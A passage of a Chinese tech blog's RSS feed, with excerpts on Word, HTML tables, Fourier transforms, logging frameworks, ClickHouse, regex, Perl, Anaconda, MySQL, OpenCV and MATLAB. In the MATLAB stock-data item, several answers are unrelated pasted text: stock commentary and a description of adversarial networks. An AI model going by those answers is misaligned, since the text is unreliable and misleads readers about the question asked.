      <description>有时我们在用word编辑文本时，单一的文本内容比较单调，我们通常会加个图片背景，这样内容看起来比较美观。但是有些新手想知道word怎么让图片占满整个页面呢?下面小编给大家讲解下这个问题的具体方法。&#xA;第一种方法&#xA;1、打开需要的文档。&#xA;2、查看纸张大小。依次点击【布局】选项卡&amp;gt;&amp;gt;【页面设置】按钮，点击【纸张】，纸张大小为：宽度29.7cm，高度21.0cm。&#xA;3、插入示例图片。依次点击【插入】选项卡&amp;gt;&amp;gt;【图片】，选择要插入的图片，例如“示例.jpg”，点击【插入】。&#xA;4、选中图片。依次点击【格式】&amp;gt;&amp;gt;【位置】&amp;gt;&amp;gt;【中间居中，四周型文字环绕】。&#xA;5、依次点击【格式】&amp;gt;&amp;gt;【大小】按钮。&#xA;6、取消勾选【锁定纵横比】，将高度修改为纸张的高度：21.0cm，将宽度修改为纸张的宽度：29.7cm，点击【确定】。&#xA;第二种方法：&#xA;1、点击上方菜单栏的“设计”菜单项，打开其下的功能面板。在功能面板中，点击“页面颜色”选项列表中的“填充效果”。&#xA;2、在打开的“填充效果”窗口中，选择“图片”页签，然后点击“选择图片”按钮。&#xA;3、从本地文件系统中选择一张图片，回到“填充效果”窗口，然后点击“确定”按钮即可。&#xA;以上就是word怎么让图片占满整个页面的两种方法，大家记得在选文字环绕时不要选择嵌入型，还不会操作的朋友赶紧多加练习。&#xA;本篇文章使用以下硬件型号：联想小新Air15;系统版本：win10;软件版本：word2017。</description>
    </item>
    <item>
      <title>HTML中表格跨行跨列深入分析</title>
      <link>https://bchobby.github.io/posts/3651e423211a994f9807b3307b216965/</link>
      <pubDate>Fri, 26 Mar 2021 23:09:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3651e423211a994f9807b3307b216965/</guid>
      <description> 想要把原来标准的四行四列的表格弄成如下图:&#xA;目标单元格：最左侧和最右侧的那个单元格&#xA;从目标单元格开始标个箭头到最后的单元格，如下图，画&#34;X&#34;的单元格位置即为你要在代码中删掉的单元格。在本例中，要删掉的单元格为 （1，2）、（1，3）、（3，4）、（4，4）。&#xA;&amp;lt;table align=&#34;center&#34; border=&#34;1&#34; cellpadding=&#34;0&#34; cellspacing=&#34;0&#34; width=&#34;500&#34; height=&#34;400&#34;&amp;gt; &amp;lt;tr&amp;gt; &amp;lt;td colspan=&#34;3&#34;&amp;gt;&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt; &amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt; &amp;lt;td rowspan=&#34;3&#34;&amp;gt;&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt; &amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt; &amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt; &amp;lt;/table&amp;gt; </description>
    </item>
    <item>
      <title>信号与系统——傅里叶变换</title>
      <link>https://bchobby.github.io/posts/87961701ee6de187477a395fafc18baa/</link>
      <pubDate>Fri, 26 Mar 2021 19:46:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/87961701ee6de187477a395fafc18baa/</guid>
      <description>对于所有涉及到电子、通信、控制等等专业的人来说，傅里叶变换是绕不过去的一个坎。&#xA;条件：绝对可和。&#xA;傅里叶变换的核心就是：一切的波形都可以由不同频率的正弦波的叠加来表示，这些不同频率的正弦波称为频率分量。&#xA;cos（0t）就是一个周期无限长的正弦波，也就是一条直线！所以在频域，0频率也被称为直流分量，在傅里叶级数的叠加中，它仅仅影响全部波形相对于数轴整体向上或是向下而不改变波的形状。&#xA;傅里叶变换的作用是将原来难以处理的时域信号转换为易于分析的频域信号，也就是信号的频谱。在频域进行处理和加工之后，还可以利用傅里叶反变换将这些频域信号转换为时域信号。傅里叶变换的另一个作用就是解微分方程。傅里叶变换可以把时域的微分积分化作频域的乘法除法。&#xA;傅里叶级数与傅里叶变换的关系：&#xA;傅里叶变换与拉普拉斯变换的关系：拉普拉斯变换将傅里叶变换推广到了复数域。当s为纯虚数的时候，拉普拉斯变换就等价于傅里叶变换。&#xA;DTFT与z变换的关系：z变换将DTFT推广到了复数域。当z的模为1（在单位圆上时），z变换等价于DTFT。&#xA;傅里叶变换是连续谱。</description>
    </item>
    <item>
      <title>Logback与Log4j2日志框架性能对比与调优</title>
      <link>https://bchobby.github.io/posts/0b6b16b9d2e0df22790aa0c79c149c7e/</link>
      <pubDate>Fri, 26 Mar 2021 19:32:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b6b16b9d2e0df22790aa0c79c149c7e/</guid>
      <description>前言 看到目前线上大多日志框架测评大多从宏观角度，直接对比异步同步的吞吐量，但是没有考量到更深层的淘汰机制、等待策略、队列长度等对性能表现的影响，因此本文将从更多的角度对比及分析两款日志框架的性能表现，通过JProfiler+Jmeter压测及数据采集，从线程占用、锁占用、宏观耗时等多维度可视化数据。&#xA;性能测试 logback 同步日志 耗时 未经过任何调优，采用Logback默认配置得出上图，一百万条日志打印耗时(ms)，如图：单线程下性能最佳，耗时随线程数增加而下降。&#xA;线程占用 单线程 无阻塞状态&#xA;多线程 多线程打印日志时，会产生大量线程阻塞，线程越多阻塞状态越多&#xA;四线程 八线程 十六线程 锁占用 线程发生多次占用锁的情况。查看Logback源码可得知，检查容量、放入队列、取出队列都需要在取得锁后进行&#xA;异步日志（队列扩容） 样本数100万，队列长度110万&#xA;耗时 线程占用 单线程 多线程 四线程 八线程 十六线程 锁占用 每次写入队列都需要占用锁，同时Appender从队列取出也需要占用锁&#xA;异步日志（半队列扩容） 样本数100万，队列长度50万，不启用抛弃策略&#xA;耗时 线程占用 单线程 多线程 写入耗时明显增长，写入过程仍然发生阻塞状态&#xA;四线程 八线程 十六线程 锁占用 log4j2 同步日志 样本数100万，Logger到Appender串行执行，输出到文件&#xA;耗时 线程占用 线程产生长时间的等待，主要是缓冲环溢出后无法写入，生产者根据等待策略进入等待状态&#xA;单线程 单线程生产不需要争抢锁，因此全程无阻塞&#xA;多线程 整体来看，阻塞的时间随着线程增多而增多，因此多线程对同步日志影响极大，性能损失严重&#xA;四线程 八线程 十六线程 后续监控因阻塞时间太长跳过&#xA;锁占用 阻塞在Appender上的输出流上，输出流是在单线程中执行的&#xA;异步日志（队列扩容） 样本数100万，队列长度110万，使用Yield等待策略&#xA;耗时 单线程占用最高，耗时随线程数增加而缩短，直到线程数超过CPU核数。单线程耗时与logback相当，多线程耗时比logback缩短了2倍&#xA;线程占用 单线程与多线程使用都无阻塞状态，保证足够的队列容量，能使日志操作保持高吞吐和低延迟，避免阻塞等待&#xA;单线程 多线程 四线程 八线程 使用与宿主机CPU核数相等的线程数，日志写入过程无阻塞、无线程切换&#xA;十六线程 异步日志（日志淘汰策略） 样本数100万，队列长度50万，启用抛弃策略</description>
    </item>
    <item>
      <title>ClickHouse分区操作</title>
      <link>https://bchobby.github.io/posts/27bb0ff775a658b47580982c2e5bfd79/</link>
      <pubDate>Fri, 26 Mar 2021 16:52:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27bb0ff775a658b47580982c2e5bfd79/</guid>
      <description>1， 查询实例的分区信息&#xA;可以展示实例下库、表机器对应的分区信息； select partition_id, name,table,database from system.parts ;&#xA;2， 删除特定分区&#xA;ALTER TABLE tbname DROP PARTITION partition_name;&#xA;也可以设置TTL自动删除；&#xA;3， 将A表的一个分区数据复制到B表；&#xA;可以用于快速写入、多表建数据同步、备份等场景；&#xA;ALTER TABLE B REPLACE PARTITION partition_expr A;&#xA;4， 重置指定分区的一个列；&#xA;如果该列有default值，则给DEFAULT，没有则根据类型清除该自动数据；&#xA;eg: alter table zg clear column Job in PARTITION 33;&#xA;5， 卸载/装载分区(DETACH/ATTACH)&#xA;DEATCH eg:&#xA;ALTER TABLE zg DETACH PARTITION 23;&#xA;ALTER TABLE zg ATTACH PARTITION 24;</description>
    </item>
    <item>
      <title>代码、文档等资料对比工具 BCompare 的详细使用讲解</title>
      <link>https://bchobby.github.io/posts/b4c79c3ab7d63acf7c1b0f73a778bd38/</link>
      <pubDate>Fri, 26 Mar 2021 16:30:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b4c79c3ab7d63acf7c1b0f73a778bd38/</guid>
      <description>BCompare，是一款最好用的代码对比工具以及文件、文件夹对比工具，&#xA;使用他可以很方便的对比出两个文件夹或者文件的不同之处，并把相差的每一个字节用颜色加以表示，查看方便，同时支持多种规则对比。&#xA;一、下载 下载地址：http://www.php.cn/xiazai/gongju/1494&#xA;安装时 管理员安装，傻瓜式&#xA;二、使用 首先，我们运行BCompar，进入了如下所示的软件主界面。然后我们点击功能栏上的【文本比较】按钮，并进入相应的窗口界面。&#xA;当然，也可以是其他的比较，比如：文件夹、版本、图片等；&#xA;点击之后的界面如下所示：&#xA;我们可以点击文件，找到我们要比较的两个文本，如下图所示，然后加入进去：&#xA;可以看到，两个文本不一样的地方用红色的字体标出来，非常易于我们查找！&#xA;1、并且我们还可以选择只显示差异项等设置 上面的具体图标代表的意思如下：&#xA;2、用户可以根据需要对对比的文本类型、语言进行设置，从而获得您需要对比的内容。 3、用户可以点击【查看】按钮，然后根据需要选择查看的比对的功能， 提供了16进制细节、语法加亮、网页、对齐方式细节、行号等功能。</description>
    </item>
    <item>
      <title>python正则表达式匹配开头,正则表达式系列（一）：匹配开头与结尾</title>
      <link>https://bchobby.github.io/posts/4816ab2a4158b2cd25e0d1e6ceee2ab9/</link>
      <pubDate>Fri, 26 Mar 2021 16:15:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4816ab2a4158b2cd25e0d1e6ceee2ab9/</guid>
      <description>准备说明：&#xA;1.实例中正则表达式来源于《精通正则表达式》一书&#xA;2.正则表达式实现方式为Python3.7&#xA;1.匹配开头&#xA;表达式&#34;cat&#34;可以匹配cat和wcat，^符会强制要求表达式从字符串开头匹配，&#34;^cat&#34;可以匹配cat，但不能匹配wcat。&amp;gt;&amp;gt;&amp;gt; s = &#34;wcat&#34;&#xA;&amp;gt;&amp;gt;&amp;gt; re.search(r&#34;cat&#34;, s)&#xA;&amp;gt;&amp;gt;&amp;gt; re.search(r&#34;^cat&#34;, s)&#xA;&amp;gt;&amp;gt;&amp;gt;&#xA;2.匹配结尾&#xA;与匹配开头类似，&#34;foo&#34;可以配foo和foobar，$符会强制要求表达式结尾字符匹配成功，&#34;foo$&#34;可以匹配foo，但不能匹配foobar。&amp;gt;&amp;gt;&amp;gt; s = &#34;foobar&#34;&#xA;&amp;gt;&amp;gt;&amp;gt; re.search(r&#34;foo&#34;, s)&#xA;&amp;gt;&amp;gt;&amp;gt; re.search(r&#34;foo$&#34;, s)&#xA;&amp;gt;&amp;gt;&amp;gt;&#xA;3.MULTILINE 模式&#xA;在MULTILINE模式下，开头匹配^和结尾匹配$会有一些变化。^可以匹配换行后字符，$可以配换行前字符。&amp;gt;&amp;gt;&amp;gt; s = &#34;w\ncat&#34;&#xA;&amp;gt;&amp;gt;&amp;gt; re.search(r&#34;^cat$&#34;, s)&#xA;&amp;gt;&amp;gt;&amp;gt; re.search(r&#34;^cat$&#34;, s, re.MULTILINE)&#xA;4.完整示例import re&#xA;&#34;&#34;&#34;&#xA;行的起始与结束&#xA;&#34;&#34;&#34;&#xA;def main():&#xA;s = &#39;scat&#39;&#xA;pattern = re.compile(&#39;^\wcat$&#39;)&#xA;match = re.match(pattern, s)&#xA;print(match)&#xA;s = &#34;s\ncat&#34;&#xA;m = re.search(r&#34;^cat$&#34;, s, re.MULTILINE)&#xA;print(m)&#xA;if __name__ == &#39;__main__&#39;:</description>
    </item>
    <item>
      <title>《Perl语言入门》读书笔记（五）输入与输出</title>
      <link>https://bchobby.github.io/posts/c194a46b8c26997634157fe8d6f07075/</link>
      <pubDate>Fri, 26 Mar 2021 14:08:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c194a46b8c26997634157fe8d6f07075/</guid>
      <description> 1 读取标准输入 使用&amp;lt;STDIN&amp;gt;操作符进行标准输入&#xA;chomp($line = &amp;lt;STDIN&amp;gt;); #截掉换行符 2.输出到标准输出 print操作符会读取他后面的参数列表中的所有元素，并把每一项依次送到标准输出。&#xA;print @array; #输出数组元素 ， 不会含有空格 ，输出（fredbarybetty） print &#34;@array&#34;; #打印一个字符串，输出（fred bary betty） print &amp;lt;&amp;gt;; #相当于unix的/bin/cat命令 print sort &amp;lt;&amp;gt;; #对输出列表按ASCII码排序输出 print(2+3); #先进行运算，输出为5，若用于表达式中，与函数调用类似，成功执行返回值为1 $n = print(2+3); #$n的值为1 print(2+3)*4; #print的返回值为1，结果5并为保存，显示输出4 print((2+3)*4); #打印20 3.printf格式化输出 printf操作符会格式化输出，类似C的用法。&#xA;printf&#34;%d days!\n&#34;,17; #输出:17days！ printf&#34;%x days!\n&#34;,17; #输出:0x11days! printf&#34;%6d\n&#34;,23; #输出：``````23 printf&#34;%-6d\n&#34;,23; #输出：23````` printf&#34;%6.3f&#34;,2/3; #输出：``````0.667 </description>
    </item>
    <item>
      <title>python数据分析开发环境搭建,Python中数据分析环境的搭建</title>
      <link>https://bchobby.github.io/posts/b28d18eea0082d00aaf3993fca3a08b2/</link>
      <pubDate>Fri, 26 Mar 2021 13:04:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b28d18eea0082d00aaf3993fca3a08b2/</guid>
      <description>原标题：Python中数据分析环境的搭建&#xA;无论学习哪一门语言，刚开始入门的时候，语言运行环境的搭建都是一件不轻松的事情，python时下正在“最热门的编程语言榜”上春风得意，今天就让我来带你学习Python的环境搭建吧~&#xA;Python的运行环境&#xA;要运行或写Python代码，就需要Python的运行环境，主要的Python有以下三类：&#xA;1.原生态的Python：就是直接从Python的官网下载，然后安装使用。这类方法最简单直接，但是后期不容易维护；&#xA;2.一些其他类型的Python发行本：这种类型的Python一般与一些package和其他工具整合在一起，类似于定制版的Python，易于安装和使用，例如用的比较多的Anaconda发行版；&#xA;3.使用docker来提供Python的运行环境：使用该方法，不用在自己电脑上直接安装Python的，只用在docker中构建好相应的Python的image就好了。&#xA;回想自己使用Python的过程，一开始也是直接到Python的官网上下载最新版本的安装包。安装完Python后，添加环境变量，在cmd中用pip一个一个安装需要使用的package。每次都是重复这样的过程，有时候会遇到一些莫名其妙的问题，比如某些package无法安装成功；有时候只能下源码自己编译安装。有时候还会需要不同版本的Python，电脑里就会出现多个版本的Python。&#xA;现在后面两类方法用的比较多。&#xA;关于开发环境&#xA;还记得有段时间接触到Java，一直分不清楚JRE和JDK的区别。现在终于搞明白了，JRE是运行是Java运行环境(JavaRuntimeEnvironment)，可以用来运行Java的代码；JDK是Java开发工具包(JavaDeveloper&#39;sKit)，即Java的开发环境，主要用来写代码。&#xA;写代码时，有一个好的集成开发环境(integrateddevelopmentenvironment，IDE)会让我们事半功倍，包括但不限于以下这些优点：&#xA;语法检查；&#xA;提示及命令补全；&#xA;好看的配色和字体；&#xA;强大的debug功能；&#xA;对大型project的管理功能。&#xA;我用的比较多的IDE包括：PyCharm，Spyder和Jupyternotebook.&#xA;PyCharm在开发大型项目时是首选，但是平时分析数据时就显得有些笨重了；&#xA;Spyder主要用于科学计算(与RStudio非常像，可以单行运行)；但是对内存要求比较大，数据量比较大的时候容易崩溃；&#xA;Jupyternotebook算是新生代的数据科学界的IDE，非常适合做数据分析。&#xA;Anaconda发行版&#xA;Anaconda是一种Python语言的免费增值开源发行版，用于进行大规模数据处理,预测分析,和科学计算,致力于简化包的管理和部署。Anaconda使用软件包管理系统Conda进行包管理。——wiki&#xA;上面是wiki中对AnacondaPython发行版的介绍，其特点就是：为数据科学而定制的版本，利用conda来管理package比原生态的pip更方便。&#xA;完整版本的Anaconda&#xA;完整版本的Anaconda比较大，最新版的600多兆(windows,64-Bit,Python3.6)，该版本不仅包括Python，还有预装好的100多个package，省去了自己安装包的麻烦。但是体积比较大，通常很多包都用不到。&#xA;Miniconda&#xA;Minicoda只包含conda,Python和少量的包，大小只有50几兆。安装好Miniconda后，可以使用condainstall来安装其他python的包&#xA;下面以Miniconda为例，安装和配置Python的运行环境及开发环境(windows7,64位)&#xA;1.安装miniconda&#xA;打开上面的链接，下载想要安装的版本后进行安装。&#xA;安装完成后，在开始菜单可以看到下面的标志：&#xA;2.安装需要的package&#xA;点击上面的AnacondaPrompt，打开anaconda的命令行工具。在这个命令行中可以直接使用conda：&#xA;-condaenvlist:列出所有的虚拟环境；&#xA;-condalist:列出当前虚拟环境中已经安装的包；&#xA;-condasearchpackagex:搜索包packagex，会返回不同版本的包，可以使用&#34;packagex==x.y&#34;来指定安装x.y版；&#xA;-condainstallpackagex:安装包packagex.&#xA;由上图可以看到，现在只有一个虚拟环境——base，在这个环境中有30个预装的包。&#xA;下面安装常用的几个用于数据分析的工具包：&#xA;指定安装0.19.1版的scikit-learn:condainstallscikit-learn==0.19.1&#xA;3.安装jupyternotebook&#xA;安装jupyternotebook的命令：condainstalljupyter&#xA;安装后，可以看到开始菜单多了一个图标：&#xA;4.运行jupyternotebook&#xA;使用时，可以直接从开始菜单中的&#34;JupyterNotebook&#34;启动，或是在命令行中输入jupyternotebook。打开后，会在浏览器中打开一个页面。&#xA;界面如下：&#xA;点击图中框出来的&#34;New&#34;菜单，选择&#34;Python3&#34;就可以打开一个新的notebook&#xA;界面如下：&#xA;这时就可以写代码了！&#xA;退出时，关闭相应的cmd窗口就可以了。&#xA;JupyterNotebook&#xA;对于JupyterNotebook，完全值得单独拿出来说说。&#xA;jupyternotebook是一个交互式的IDE，虽然不像PyCharm这种重型IDE那么强大，但是仍然可以当做IDE来用，而且有一些特色非常适合用来进行数据分析：&#xA;可以单行运行代码，这样就可以一行一行的检查代码，查看运行结果，反复尝试；&#xA;每次运行后变量都保存在内存中，因此可以重复使用(这对于一些比较耗时的计算过程，尤其有用)；&#xA;可以写markdown格式的注释，这样就可以将整个分析过程非常清晰的表达出来；&#xA;可以利用Mathjax展示数学公式；&#xA;可以插入图片等，可以制作出图和代码并茂的非常精致的笔记和文档(有很多已经出版的书都是完全使用notebook来写作的).&#xA;但是个人感觉jupyternotebook并不适用代码量比较大的工程类项目。&#xA;如果有任何疑问，欢迎添加qq群测试入门到大神 755431660 共同学习~返回搜狐，查看更多&#xA;责任编辑：</description>
    </item>
    <item>
      <title>matlab如何下载a股数据,matlab如何下载a股数据,股票数据爬虫代码</title>
      <link>https://bchobby.github.io/posts/4a6712ad43a34bc358387e09bbff7042/</link>
      <pubDate>Fri, 26 Mar 2021 12:08:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4a6712ad43a34bc358387e09bbff7042/</guid>
      <description>内容导航：&#xA;Q1：MATLAB怎样从新浪财经获取股票交易数据.rar&#xA;超跌反弹动力强等诸多优势,最关键的是中小盘股已经2年多牛市了,而经历过5年熊市的蓝筹股才涨一波,距离结束还很远。玉名认为对股民来说,敢入低吸后就更要敢于持股,牛市行情过程复杂,但股民持股策略却很简单,选对主线就是耐心坚守。 超跌反弹动力强等诸多优势,最关键的是中小盘股已经2年多牛市了,而经历过5年熊市的蓝筹股才涨一波,距离结束还很远。玉名认为对股民来说,敢入低吸后就更要敢于持股,牛市行情过程复杂,但股民持股策略却很简单,选对主线就是耐心坚守。&#xA;Q2：matlab怎么提取股票复权数据&#xA;这和matlab没多少关系，主要看你的行情软件的接口函数，你应该去看下他们的帮助文档。&#xA;Q3：如何用MATLAB获取股票数据&#xA;该框架可为许多模型和优化方法产生具体的训练方法。本文中，生成模型通过一个多层感知机传递随机噪声，且判别模型也是一个多层感知机。&#xA;这个特例称为对抗的网络。这里，仅用反向传播和 Dropout 来训练模型，生成模型通过前向传播来生成样本。不需要近似推理和 Markov 链。&#xA;Q4：matlab可以直接获取国内股票或者期货的历史数据吗&#xA;貌似不可以，但你可以编程实现。&#xA;Q5：如何用matlab读取yahoo网站的股票数据？&#xA;matlab如何读取股票数据该框架可为许多模型和优化方法产生具体的训练方法。本文中，生成模型通过一个多层感知机传递随机噪声，且判别模型也是一个多层感知机。这个特例称为对抗的网络。这里，仅用反向传播和Dropout来训练模型，生成模型通过前向传播来生成样本。不需要近似推理和Markov链。&#xA;Q6：使用MATLAB分析市场数据和提出投资建议。&#xA;方法/步骤&#xA;1 确定证券交易所，选择SZ证券交易所或SH证券交易所，也可以选择财经网站的数据。由于百度经验不允许在正文中出现链接，所以不给出链接。&#xA;不同的财经网站数据的数据格式不同，但绝大多数均通过表格的方式输出。&#xA;2 分析数据格式&#xA;融资融券数据一般由融资余额、融资买入额、融资偿还额、融券余量金额、融券余量(股)、 融券卖出量(股)、融券偿还量(股)、融券融券余额(元)等组成。其中：&#xA;(1)本日融资融券余额＝本日融资余额＋本日融券余量金额&#xA;融资和融券余额之和，表明市场交投活跃(2)本日融资余额＝前日融资余额＋本日融资买入额－本日融资偿还额；&#xA;融资余额多，表明多头强(3) 本日融资偿还额＝本日直接还款额＋本日卖券还款额＋本日融资强制平仓额＋本日融资正权益调整－本日融资负权益调整；&#xA;(4)本日融券余量=前日融券余量+本日融券卖出数量-本日融券偿还量；&#xA;融券余量大，表明空头强(5)本日融券偿还量＝本日买券还券量＋本日直接还券量＋本日融券强制平仓量＋本日融券正权益调整－本日融券负权益调整－本日余券应划转量；&#xA;(6)融券单位：股(标的证券为股票)/份(标的证券为基金)/手(标的证券为债券)。&#xA;一般情况下，融资融券数据格式如下图。需要注意上海证券交易所和深圳证券交易所提供的融资融券数据有一定差别。&#xA;3 利用MATLAB程序获取融资融券数据&#xA;输入数据网址，利用在MATLAB中的web浏览器中自动标记页面中的表格，并根据web浏览器显示确定表格的序号。&#xA;4 利用urlread或WebTable函数自动读取融资融券数据&#xA;其中urlread读取所有网页数据，WebTable自动分析并读取制定序号的表格数据。&#xA;如&#xA;data = urlread(url);&#xA;或&#xA;myTableData1 = WebTable(1);&#xA;myTableData2 = WebTable(2);&#xA;其中：&#xA;&amp;gt;&amp;gt; myTableData1&#xA;myTableData1 =&#xA;&#39;融资融券交易总量&#39; [] [] [] []&#xA;&#39;市场&#39; &#39;本日融资余额(元)&#39; &#39;本日融资买入额(元)&#39; &#39;本日融资偿还额(元)&#39; &#39;本日融券余量金额(元)&#39;&#xA;&#39;沪市&#39; &#39;460,495,093,484&#39; &#39;65,585,851,063&#39; &#39;61,076,252,272&#39; &#39;0&#39;</description>
    </item>
    <item>
      <title>《Perl语言入门》读书笔记（四）子程序</title>
      <link>https://bchobby.github.io/posts/1d84fde1ff45d13fd67f3d052b9ad7f5/</link>
      <pubDate>Fri, 26 Mar 2021 11:03:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1d84fde1ff45d13fd67f3d052b9ad7f5/</guid>
      <description>1 子程序 1.1 定义子程序 使用关键字sub开头，在写上子程序名（字母、数字和下划线组成，不能以数字开头），大括号框柱子程序主体。子程序可以定义在文件的任意位置，为了方便代码阅读，一般建议放在开头或结尾处。&#xA;sub marine{ $n += 1; #全局变量 print&#34;Hello,sailor number $n!\n&#34;; } 1.2 调用子程序 在任意表达式中，子程序名前加与号（&amp;amp;），表示调用这个子程序。&#xA;&amp;amp;marine; #调用前面的子函数 1.3 返回值 子程序在被调用时一定是作为表达式的一部分，并且在perl中所有的子程序都有返回值，larry将子程序执行的最后一次运算的结果，自动作为返回值。&#xA;sub sum_add{ print&#34;The value is:&#34;; $num1 + $num2; #此结果为返回值 # print“($num1 + $num2)”; 此表达式做最后一次运算结果返回值为1，只会判断是否有输出信息 } #对返回值需要小心确认 1.4 参数 perl支持参数传递，在子程序调用的后面加上括号，并括号内写入列表表达式，比如：&#xA;$s = &amp;amp;max(10,17); 1.5 子程序中的私有变量 可以通过my操作符来创建私有变量，私有变量的作用域仅仅局限于封闭语句块中，语句块内的私有变量与外部变量互相不影响。my操作符声明的词法变量可以用在任意语句块中，仅作用于当前语句块。&#xA;sub max{ my($m,$n); #新建私有变量 ($m,$n) = @_; #参数赋值给变量 if($m&amp;gt;$n) {$m} else{$n} } 1.6 use strict 编译指令 编译指令，是提供给编译器的某些指示，编译器将遵循你的指示处理接下来的代码。use strict是启用相对严格的编码风格的指令。&#xA;建议使用在程序较长的情况下。&#xA;1.7 return操作符 return操作符将会终止子程序运行，并返回某个值。</description>
    </item>
    <item>
      <title>服务器配置mysql</title>
      <link>https://bchobby.github.io/posts/78177ee16b5f78148096cc4cf3beb569/</link>
      <pubDate>Fri, 26 Mar 2021 10:55:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/78177ee16b5f78148096cc4cf3beb569/</guid>
      <description>服务器配置mysql 一、1.将mysql5.7压缩包，复制到服务器指定目录并解压 2.将这个文件复制到解压目录，修改里面的mysql目录&#xA;3.进入bin目录，在目录唤起cmd窗口&#xA;执行mysqld -install命令进行安装，&#xA;执行mysqld --initialize-insecure --user=mysql命令初始化&#xA;4.执行 net start mysql 命令启动MYSQL&#xA;执行mysqladmin -u root -p password 命令设置新密码，root旧密码为空。&#xA;内网ip：127.0.0.1 外网ip：就是你服务器ip 账号：root 密码：你设置的新密码 端口：3306 踩坑 1、MySQL找不到MSVCP120.dll 解决方案：下载vcredist_x64安装即可。如果安装还是报这个错。重新下载&#xA;ps:我安装2015的不行，然后重新下了个2013的完美解决。官网下载太慢的话直接搜索vcredist下载别人分享的&#xA;2、net start mysql 提示mysql 服务正在启动 .mysql 服务无法启动 检查一下mysql路径下的data文件夹中是否有mysql文件夹。&#xA;没有的话cmd窗口运行mysqld --initialize&#xA;报错一下内容的话。把data文件删除。重新再运行一下 2021-03-26T02:06:25.581627Z 0 [Warning] TIMESTAMP with implicit DEFAULT value is deprecated. Please use --explicit_defaults_for_timestamp server option (see documentation for more details). 2021-03-26T02:06:25.581693Z 0 [Warning] &#39;NO_ZERO_DATE&#39;, &#39;NO_ZERO_IN_DATE&#39; and &#39;ERROR_FOR_DIVISION_BY_ZERO&#39; sql modes should be used with strict mode.</description>
    </item>
    <item>
      <title>python图像腐蚀处理,Python OpenCV实例：图像腐蚀（数学公式基本实现）</title>
      <link>https://bchobby.github.io/posts/0ba89f9e70b89dc10faef86f6600af5f/</link>
      <pubDate>Fri, 26 Mar 2021 06:22:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ba89f9e70b89dc10faef86f6600af5f/</guid>
      <description>Python OpenCV实例：图像腐蚀(数学公式基本实现)&#xA;Python OpenCV实例：图像腐蚀(数学公式基本实现)&#xA;为什么80%的码农都做不了架构师？&amp;gt;&amp;gt;&amp;gt;&#xA;#coding:utf-8&#xA;&#39;&#39;&#39;&#xA;二值图像的腐蚀运算&#xA;定义：&#xA;g(x,y) = erode[f(x,y),B] = AND[Bf(x,y)]&#xA;其中，g(x,y)为腐蚀后的二值图像，f(x,y)为原始二值图像&#xA;B为结构元素，Bf(x,y)定义为&#xA;Bf(x,y) = {f(x - bx,y-by),(bx,by)∈B}&#xA;算子AND(x(i),...,x(n))定义为：当且仅当x(1) = ... = x(n) = 1时，&#xA;AND(x(1),...,x(n))等于1，否则为0&#xA;结构元素选择的原则往往是具有旋转不变性，或者镜像不变性。也就是说，结构元素&#xA;原点在其几何中心处理，并且其他像素关于该原点对你。常用到的结构元素：&#xA;1、水平单列；2、垂直单列；3、十字形；4、方形&#xA;&#39;&#39;&#39;&#xA;import cv2&#xA;import numpy as np&#xA;# 3位水平方向结构元素&#xA;def erode_horizontal_3x1(image):&#xA;img_gray = cv2.cvtColor(image,cv2.COLOR_RGB2GRAY)&#xA;rows,cols = img_gray.shape&#xA;gray_flat = img_gray.reshape((rows * cols,))&#xA;# 创建空白图像&#xA;dist = np.full(img_gray.shape,fill_value=255,dtype=img_gray.dtype).reshape((rows * cols,))&#xA;x_coord = np.arange(1,cols-1)&#xA;for i in range(rows):&#xA;for j in x_coord:</description>
    </item>
    <item>
      <title>matlab中fplot和ezplot,Matlab中plot、fplot、ezplot的使用方法和区别</title>
      <link>https://bchobby.github.io/posts/f2a3a291cff3c06317194593528eb9cc/</link>
      <pubDate>Fri, 26 Mar 2021 03:24:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f2a3a291cff3c06317194593528eb9cc/</guid>
      <description>函数plot 是绘制二维图形的最基本函数，它是针对向量或矩阵的列来绘制曲线的。也就是说，使用plot 函数之前，必须首先定义好曲线上每一点的x 及y 坐标;&#xA;常用格式为：&#xA;(1)plot(x) 当x 为一向量时，以x 元素的值为纵坐标，x 的序号为横坐标值绘制曲线。当x 为一实矩阵时，则以其序号为横坐标，按列绘制每列元素值相对于其序号的曲线，当x 为m× n 矩阵时，就有n 条曲线。&#xA;(2)plot(x,y) 以x 元素为横坐标值，y 元素为纵坐标值绘制曲线。&#xA;(3)plot(x,y1,x,y2,…) 以公共的x 元素为横坐标值，以y1,y2,… 元素为纵坐标值绘制多条曲线。&#xA;函数fplot 用来绘制数学函数，其调用格式为： fplot(fun,lims)其中fun 就是所要绘制的函数，可以是定义函数的M 文件名，也可以是以x 为变量的可计算字符串，lims=[XMIN XMAX YMIN YMAX]限定了x,y 轴上的绘图空间。&#xA;函数ezplot它无需数据准备，直接画出函数图形，基本调用格式为ezplot(f)，其中f 